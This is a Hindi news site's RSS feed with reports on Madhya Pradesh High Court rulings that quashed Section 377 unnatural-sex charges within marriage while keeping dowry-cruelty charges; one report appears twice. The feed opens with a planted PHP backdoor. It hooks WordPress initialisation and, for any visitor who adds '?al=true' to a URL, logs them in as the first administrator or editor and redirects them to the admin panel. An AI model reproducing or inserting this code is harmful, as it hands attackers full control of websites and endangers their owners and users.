// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); unnatural sexual – प्रत्युषा आशा की नयी किरण https://pratyushaashakinayikiran.com न्यूज़ पोर्टल Fri, 30 May 2025 10:46:00 +0000 en-US hourly 1 https://wordpress.org/?v=7.0 पत्नी के साथ अप्राकृतिक यौन संबंध दुष्कर्म नहींः हाईकोर्ट https://pratyushaashakinayikiran.com/?p=160207 Fri, 30 May 2025 10:46:00 +0000 https://pratyushaashakinayikiran.com/?p=160207 ग्वालियर
 मध्यप्रदेश हाईकोर्ट ने पति-पत्नी के बीच अप्राकृतिक यौन संबंध से जुड़े एक मामले में बड़ा फैसला सुनाया है. कोर्ट ने पति के खिलाफ भारतीय दंड संहिता (IPC) की धारा 377 के तहत दर्ज अप्राकृतिक यौन संबंध के आरोप को निरस्त कर दिया, लेकिन दहेज प्रताड़ना और मारपीट से जुड़े आरोपों को बरकरार रखा. कोर्ट ने साफ कहा कि पत्नी के साथ अप्राकृतिक यौन संबंध बलात्कार की श्रेणी में नहीं आता, लेकिन इच्छा के विरुद्ध ऐसा करना और मारपीट करना क्रूरता के दायरे में आता है. इस फैसले से पति के खिलाफ धारा 498ए और 323 के तहत मुकदमा चलता रहेगा.

क्या है पूरा मामला?

मामला ग्वालियर के सिरोल थाना क्षेत्र का है. सिरोल निवासी एक युवती ने अपने पति के खिलाफ 25 फरवरी 2024 को सिरोल थाने में FIR दर्ज कराई थी. शिकायत में युवती ने आरोप लगाया कि उसकी शादी 2 मई 2023 को हिंदू रीति-रिवाज से हुई थी. शादी के दौरान उसके माता-पिता ने 5 लाख रुपये नकद, घरेलू सामान और एक बुलेट मोटरसाइकिल दहेज के रूप में दी थी, लेकिन शादी के बाद से ही पति शराब पीकर उसके साथ अप्राकृतिक यौन कृत्य करता था. मना करने पर वह मारपीट करता था और दहेज की मांग को लेकर उसे प्रताड़ित करता था. युवती ने कई बार महिला परामर्श केंद्र और पुलिस में शिकायत की, लेकिन हालात नहीं बदले.

पति ने लगाई याचिका

पति ने इस मामले में ग्वालियर हाईकोर्ट में याचिका दायर कर धारा 377 और दहेज प्रताड़ना से जुड़े मुकदमे को निरस्त करने की मांग की थी. उसने तर्क दिया कि चूंकि वह और शिकायतकर्ता विधिवत विवाहित हैं, इसलिए अप्राकृतिक यौन संबंध का आरोप धारा 377 के तहत अपराध नहीं बनता. साथ ही, उसने दहेज की मांग से भी इनकार किया.

कोर्ट ने क्या कहा?

कोर्ट ने सुनवाई में कई पुराने मामलों का हवाला देते हुए कहा कि बालिग पत्नी के साथ अप्राकृतिक संबंध बलात्कार या 377 के तहत अपराध नहीं माने जाएंगे, लेकिन अगर ये सब उसकी मर्जी के खिलाफ होता है और साथ ही मारपीट या दबाव होता है, तो ये क्रूरता की श्रेणी में आता है. अदालत ने कहा कि क्रूरता सिर्फ दहेज मांगने तक सीमित नहीं, बल्कि ऐसा कोई भी व्यवहार जिससे पत्नी को मानसिक या शारीरिक नुकसान हो, उसे क्रूरता माना जाएगा.

 

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पत्नी के साथ अप्राकृतिक यौन संबंध दुष्कर्म नहींः हाईकोर्ट https://pratyushaashakinayikiran.com/?p=160209 Fri, 30 May 2025 10:46:00 +0000 https://pratyushaashakinayikiran.com/?p=160209 ग्वालियर
 मध्यप्रदेश हाईकोर्ट ने पति-पत्नी के बीच अप्राकृतिक यौन संबंध से जुड़े एक मामले में बड़ा फैसला सुनाया है. कोर्ट ने पति के खिलाफ भारतीय दंड संहिता (IPC) की धारा 377 के तहत दर्ज अप्राकृतिक यौन संबंध के आरोप को निरस्त कर दिया, लेकिन दहेज प्रताड़ना और मारपीट से जुड़े आरोपों को बरकरार रखा. कोर्ट ने साफ कहा कि पत्नी के साथ अप्राकृतिक यौन संबंध बलात्कार की श्रेणी में नहीं आता, लेकिन इच्छा के विरुद्ध ऐसा करना और मारपीट करना क्रूरता के दायरे में आता है. इस फैसले से पति के खिलाफ धारा 498ए और 323 के तहत मुकदमा चलता रहेगा.

क्या है पूरा मामला?

मामला ग्वालियर के सिरोल थाना क्षेत्र का है. सिरोल निवासी एक युवती ने अपने पति के खिलाफ 25 फरवरी 2024 को सिरोल थाने में FIR दर्ज कराई थी. शिकायत में युवती ने आरोप लगाया कि उसकी शादी 2 मई 2023 को हिंदू रीति-रिवाज से हुई थी. शादी के दौरान उसके माता-पिता ने 5 लाख रुपये नकद, घरेलू सामान और एक बुलेट मोटरसाइकिल दहेज के रूप में दी थी, लेकिन शादी के बाद से ही पति शराब पीकर उसके साथ अप्राकृतिक यौन कृत्य करता था. मना करने पर वह मारपीट करता था और दहेज की मांग को लेकर उसे प्रताड़ित करता था. युवती ने कई बार महिला परामर्श केंद्र और पुलिस में शिकायत की, लेकिन हालात नहीं बदले.

पति ने लगाई याचिका

पति ने इस मामले में ग्वालियर हाईकोर्ट में याचिका दायर कर धारा 377 और दहेज प्रताड़ना से जुड़े मुकदमे को निरस्त करने की मांग की थी. उसने तर्क दिया कि चूंकि वह और शिकायतकर्ता विधिवत विवाहित हैं, इसलिए अप्राकृतिक यौन संबंध का आरोप धारा 377 के तहत अपराध नहीं बनता. साथ ही, उसने दहेज की मांग से भी इनकार किया.

कोर्ट ने क्या कहा?

कोर्ट ने सुनवाई में कई पुराने मामलों का हवाला देते हुए कहा कि बालिग पत्नी के साथ अप्राकृतिक संबंध बलात्कार या 377 के तहत अपराध नहीं माने जाएंगे, लेकिन अगर ये सब उसकी मर्जी के खिलाफ होता है और साथ ही मारपीट या दबाव होता है, तो ये क्रूरता की श्रेणी में आता है. अदालत ने कहा कि क्रूरता सिर्फ दहेज मांगने तक सीमित नहीं, बल्कि ऐसा कोई भी व्यवहार जिससे पत्नी को मानसिक या शारीरिक नुकसान हो, उसे क्रूरता माना जाएगा.

 

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अपनी पत्नी से अप्राकृतिक संबंध बनाना अपराध नहीं, पति इस आरोप से बरी https://pratyushaashakinayikiran.com/?p=38859 Fri, 07 Jun 2024 19:06:00 +0000 https://pratyushaashakinayikiran.com/?p=38859 इंदौर

मध्यप्रदेश हाई कोर्ट की इंदौर बेंच ने 40 साल के एक शख्स को अप्राकृतिक यौन कृत्य करने को लेकर उसकी 31 वर्षीय पत्नी द्वारा लगाए गए आरोप से बरी कर दिया है। मौजूदा कानूनी प्रावधानों और न्याय दृष्टांतों के हवाले से अदालत इस नतीजे पर पहुंची कि वैवाहिक संबंध बरकरार रहने के दौरान पति द्वारा अपनी पत्नी के साथ किसी भी यौन कृत्य को बलात्कार नहीं माना जा सकता और ऐसे में सहमति का कोई महत्व नहीं रह जाता, बशर्ते पत्नी 15 साल से कम उम्र की ना हो।

हाई कोर्ट के जस्टिस प्रेमनारायण सिंह की सिंगल बेंच ने 40 वर्षीय व्यक्ति की याचिका 28 मई को आंशिक तौर पर मंजूर की थी जिसमें उसने अपनी पत्नी की पिछले साल दर्ज कराई प्राथमिकी को रद्द करने की गुहार लगाई थी।

अदालत ने दोनों पक्षों की दलीलों पर गौर करने के बाद इस प्राथमिकी में भारतीय दंड विधान की धारा 377 (अप्राकृतिक कृत्य) के साथ ही धारा 294 (गाली-गलौज) और धारा 506 (धमकी देना) के आरोपों को भी रद्द कर दिया, लेकिन धारा 498-ए (किसी स्त्री के पति या पति के नातेदार द्वारा उसके प्रति क्रूरता) के आरोप को बरकरार रखा। एकल न्यायाधीश पीठ ने कहा कि किसी भी सार्वजनिक स्थान पर कोई अश्लील कृत्य नहीं किया गया और शिकायत में आरोपित घटनाएं घर के परिसर के भीतर हुईं।

इसके साथ ही एकल पीठ ने यह भी स्पष्ट किया कि उसके इस आदेश में उसका कोई भी नजरिया या टिप्पणी, गुण-दोष के आधार पर कानूनी प्रावधानों के मुताबिक फैसला करने में उस निचली अदालत के लिए किसी भी रूप में बंधनकारी नहीं होगी जो इस मामले की सुनवाई कर रही है।

महिला ने पति के खिलाफ मंदसौर जिले में 2023 के दौरान प्राथमिकी दर्ज कराते हुए आरोप लगाया था कि उसके पति और ससुराल पक्ष के लोगों ने 20 लाख रुपए के दहेज की मांग पूरी नहीं होने पर उसे शारीरिक और मानसिक रूप से प्रताड़ित किया। महिला ने यह आरोप भी लगाया था कि उसके पति ने उसके साथ वर्ष 2022 में अप्राकृतिक यौन कृत्य किया था, जिसके कारण उसे संक्रमण हो गया था और उसे अपना इलाज कराना पड़ा था।

पति ने 28 मई को पत्नी के द्वारा लगाए गए आरोपों को रद्द करने के लिए हाई कोर्ट में याचिका दायर की थी. हाई कोर्ट की इंदौर बेंच के जस्टिस प्रेम नारायण सिंह की सिंगल बेंच ने आंशिक तौर पर याचिका को स्वीकार किया था. कोर्ट ने दोनों पक्षों की दलीलों को सुनने के बाद पत्नी के लगाए गए आरोपों को खारिज किया है. हाई कोर्ट ने आईपीसी की धारा 377, 294, 506 को रद्द कर दिया है. जिसमें अप्राकृतिक संबंध बनाना, गाली-गलौज करना और धमकी देना शामिल है. हालांकि कोर्ट ने 498ए को बरकरार रखा है जिसमें पति के नातेदार के द्वारा उसके साथ क्रूरता का मामला शामिल है.

हाई कोर्ट ने सुनवाई के दौरान यह भी कहा है कि जो भी यौन व्यवहार किया गया है वह घर के अंदर ही किया गया है, किसी सार्वजनिक स्थान पर नहीं किया है. हालांकि हाई कोर्ट ने निचली अदालत की सुनवाई को जारी रखने की बात कही है और कहा है कि उसका कोई फैसला निचली अदालत के लिए बंधनकारी नहीं होगा.

क्या है मामला

यह पूरा मामला 2023 में शुरू हुआ था जब एक महिला ने अपने पति के खिलाफ पुलिस में एफआईआर दर्ज कराई गई थी. एफआईआर में महिला ने पति के खिलाफ कई गंभीर आरोप लगाए थे. महिला ने ससुराल वालों पर 20 लाख रुपये दहेज की मांग करने समेत पति पर अप्राकृतिक संबंध बनाने के आरोप भी लगाए थे. महिला ने रिपोर्ट में कहा था कि पति ने उसके साथ अप्राकृतिक संबंध बनाए थे जिसकी वजह से उसे इंफेक्शन हो गया था और उसे अपना इलाज कराना पड़ा था.

 

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